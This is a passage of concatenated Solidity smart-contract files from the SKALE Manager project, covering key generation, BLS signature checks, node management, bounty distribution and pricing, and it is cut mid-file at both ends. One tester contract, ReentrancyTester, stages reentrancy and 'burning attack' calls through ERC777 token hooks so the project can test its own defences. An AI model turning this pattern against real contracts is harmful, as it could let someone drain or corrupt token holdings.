verificationVectorMult[i])) { return false; } } return true; } function _checkPairing( Fp2Operations.Fp2Point memory g1Mul, G2Operations.G2Point memory verificationVector, G2Operations.G2Point memory verificationVectorMult ) private view returns (bool) { require(G1Operations.checkRange(g1Mul), "g1Mul is not valid"); g1Mul.b = G1Operations.negate(g1Mul.b); Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator(); return Precompiled.bn256Pairing( one.a, one.b, verificationVectorMult.x.b, verificationVectorMult.x.a, verificationVectorMult.y.b, verificationVectorMult.y.a, g1Mul.a, g1Mul.b, verificationVector.x.b, verificationVector.x.a, verificationVector.y.b, verificationVector.y.a ); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../Decryption.sol"; import "../Nodes.sol"; import "../thirdparty/ECDH.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgResponse { using G2Operations for G2Operations.G2Point; function response( bytes32 schainHash, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainHash, fromNodeIndex); require(index < channels[schainHash].n, "Node is not in this group"); require(complaints[schainHash].nodeToComplaint == fromNodeIndex, "Not this Node"); require(complaints[schainHash].isResponse, "Have not submitted pre-response data"); uint badNode = _verifyDataAndSlash( schainHash, secretNumber, multipliedShare, contractManager, complaints ); SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainHash, badNode); } function _verifyDataAndSlash( bytes32 schainHash, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private returns (uint badNode) { bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey( complaints[schainHash].fromNodeToComplaint ); uint256 pkX = uint(publicKey[0]); (pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1])); bytes32 key = bytes32(pkX); // Decrypt secret key contribution uint secret = Decryption(contractManager.getContract("Decryption")).decrypt( complaints[schainHash].keyShare, sha256(abi.encodePacked(key)) ); badNode = ( _checkCorrectMultipliedShare(multipliedShare, secret) && multipliedShare.isEqual(complaints[schainHash].sumOfVerVec) ? complaints[schainHash].fromNodeToComplaint : complaints[schainHash].nodeToComplaint ); SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainHash, badNode); } function _checkCorrectMultipliedShare( G2Operations.G2Point memory multipliedShare, uint secret ) private view returns (bool) { if (!multipliedShare.isG2()) { return false; } G2Operations.G2Point memory tmp = multipliedShare; Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({ a: 0, b: 0 }); (share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret); require(G1Operations.checkRange(share), "share is not valid"); share.b = G1Operations.negate(share.b); require(G1Operations.isG1(share), "mulShare not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); return Precompiled.bn256Pairing( share.a, share.b, g2.x.b, g2.x.a, g2.y.b, g2.y.a, g1.a, g1.b, tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISchains.sol - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchains { function verifySchainSignature( uint256 signA, uint256 signB, bytes32 hash, uint256 counter, uint256 hashA, uint256 hashB, string calldata schainName ) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( Fp2Operations.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, G2Operations.G2Point calldata publicKey ) external view returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord.add(counter)) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* ISchainsInternal - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchainsInternal { function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool); function isOwnerAddress(address from, bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { return uint256(ciphertext ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* IWallets - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IWallets { function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external; function rechargeSchainWallet(bytes32 schainId) external payable; } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferencesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../delegation/PartialDifferences.sol"; contract PartialDifferencesTester { using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using SafeMath for uint; PartialDifferences.Sequence[] private _sequences; // PartialDifferences.Value[] private _values; function createSequence() external { _sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0})); } function addToSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].addToSequence(diff, month); } function subtractFromSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].subtractFromSequence(diff, month); } function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) { require(sequence < _sequences.length, "Sequence does not exist"); return _sequences[sequence].getAndUpdateValueInSequence(month); } function reduceSequence( uint sequence, uint a, uint b, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b); return _sequences[sequence].reduceSequence(reducingCoefficient, month); } function latestSequence() external view returns (uint id) { require(_sequences.length > 0, "There are no _sequences"); return _sequences.length.sub(1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ReentrancyTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../Permissions.sol"; import "../delegation/DelegationController.sol"; contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bool private _reentrancyCheck = false; bool private _burningAttack = false; uint private _amount = 0; constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata /* userData */, bytes calldata /* operatorData */ ) external override { if (_reentrancyCheck) { IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require( skaleToken.transfer(contractManager.getContract("SkaleToken"), amount), "Transfer is not successful"); } } function tokensToSend( address, // operator address, // from address, // to uint256, // amount bytes calldata, // userData bytes calldata // operatorData ) external override { if (_burningAttack) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.delegate( 1, _amount, 2, "D2 is even"); } } function prepareToReentracyCheck() external { _reentrancyCheck = true; } function prepareToBurningAttack() external { _burningAttack = true; } function burningAttack() external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); _amount = skaleToken.balanceOf(address(this)); skaleToken.burn(_amount, ""); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./interfaces/IMintableToken.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./NodeRotation.sol"; import "./Permissions.sol"; import "./Schains.sol"; import "./Wallets.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; bytes32 public constant SCHAIN_DELETER_ROLE = keccak256("SCHAIN_DELETER_ROLE"); /** * @dev Emitted when bounty is received. */ event BountyReceived( uint indexed nodeIndex, address owner, uint averageDowntime, uint averageLatency, uint bounty, uint previousBlockEvent, uint time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { Schains schains = Schains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external { uint gasTotal = gasleft(); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); nodeRotation.freezeSchains(nodeIndex); if (nodes.isNodeActive(nodeIndex)) { require(nodes.initExit(nodeIndex), "Initialization of node exit is failed"); } require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { SchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, now.add( isSchains ? ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function deleteSchain(string calldata name) external { Schains schains = Schains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external { require(hasRole(SCHAIN_DELETER_ROLE, msg.sender), "SCHAIN_DELETER_ROLE is required"); Schains schains = Schains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external { uint gasTotal = gasleft(); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); require(!nodes.incompliant(nodeIndex), "The node is incompliant"); BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, uint(-1), block.timestamp, gasleft()); _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function setVersion(string calldata newVersion) external onlyOwner { version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private returns (bool) { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 29000; Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } } // SPDX-License-Identifier: AGPL-3.0-only /* Distributor.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "../utils/MathUtils.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; import "./DelegationPeriodManager.sol"; import "./TimeHelpers.sol"; /** * @title Distributor * @dev This contract handles all distribution functions of bounty and fee * payments. */ contract Distributor is Permissions, IERC777Recipient { using MathUtils for uint; /** * @dev Emitted when bounty is withdrawn. */ event WithdrawBounty( address holder, uint validatorId, address destination, uint amount ); /** * @dev Emitted when a validator fee is withdrawn. */ event WithdrawFee( uint validatorId, address destination, uint amount ); /** * @dev Emitted when bounty is distributed. */ event BountyWasPaid( uint validatorId, uint amount ); IERC1820Registry private _erc1820; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _bountyPaid; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _feePaid; // holder => validatorId => month mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth; // validatorId => month mapping (uint => uint) private _firstUnwithdrawnMonthForValidator; /** * @dev Return and update the amount of earned bounty from a validator. */ function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) { return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); } /** * @dev Allows msg.sender to withdraw earned bounty. Bounties are locked * until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed. * * Emits a {WithdrawBounty} event. * * Requirements: * * - Bounty must be unlocked. */ function withdrawBounty(uint validatorId, address to) external { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Bounty is locked"); uint bounty; uint endMonth; (bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); _firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth; IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require(skaleToken.transfer(to, bounty), "Failed to transfer tokens"); emit WithdrawBounty( msg.sender, validatorId, to, bounty ); } /** * @dev Allows `msg.sender` to withdraw earned validator fees. Fees are * locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed. * * Emits a {WithdrawFee} event. * * Requirements: * * - Fee must be unlocked. */ function withdrawFee(address to) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Fee is locked"); // check Validator Exist inside getValidatorId uint validatorId = validatorService.getValidatorId(msg.sender); uint fee; uint endMonth; (fee, endMonth) = getEarnedFeeAmountOf(validatorId); _firstUnwithdrawnMonthForValidator[validatorId] = endMonth; require(skaleToken.transfer(to, fee), "Failed to transfer tokens"); emit WithdrawFee( validatorId, to, fee ); } function tokensReceived( address, address, address to, uint256 amount, bytes calldata userData, bytes calldata ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); require(userData.length == 32, "Data length is incorrect"); uint validatorId = abi.decode(userData, (uint)); _distributeBounty(amount, validatorId); } /** * @dev Return the amount of earned validator fees of `msg.sender`. */ function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender)); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Return and update the amount of earned bounties. */ function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId) public returns (uint earned, uint endMonth) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId]; if (startMonth == 0) { startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId); if (startMonth == 0) { return (0, 0); } } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { uint effectiveDelegatedToValidator = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i); if (effectiveDelegatedToValidator.muchGreater(0)) { earned = earned.add( _bountyPaid[validatorId][i].mul( delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i)) .div(effectiveDelegatedToValidator) ); } } } /** * @dev Return the amount of earned fees by validator ID. */ function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId]; if (startMonth == 0) { return (0, 0); } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { earned = earned.add(_feePaid[validatorId][i]); } } // private /** * @dev Distributes bounties to delegators. * * Emits a {BountyWasPaid} event. */ function _distributeBounty(uint amount, uint validatorId) private { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint currentMonth = timeHelpers.getCurrentMonth(); uint feeRate = validatorService.getValidator(validatorId).feeRate; uint fee = amount.mul(feeRate).div(1000); uint bounty = amount.sub(fee); _bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty); _feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee); if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) { _firstUnwithdrawnMonthForValidator[validatorId] = currentMonth; } emit BountyWasPaid(validatorId, amount); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKGTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; contract SkaleDKGTester is SkaleDKG { function setSuccessfulDKGPublic(bytes32 schainHash) external { lastSuccessfulDKG[schainHash] = now; channels[schainHash].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainHash); emit SuccessfulDKG(schainHash); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price"); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity); uint loadDiff; if 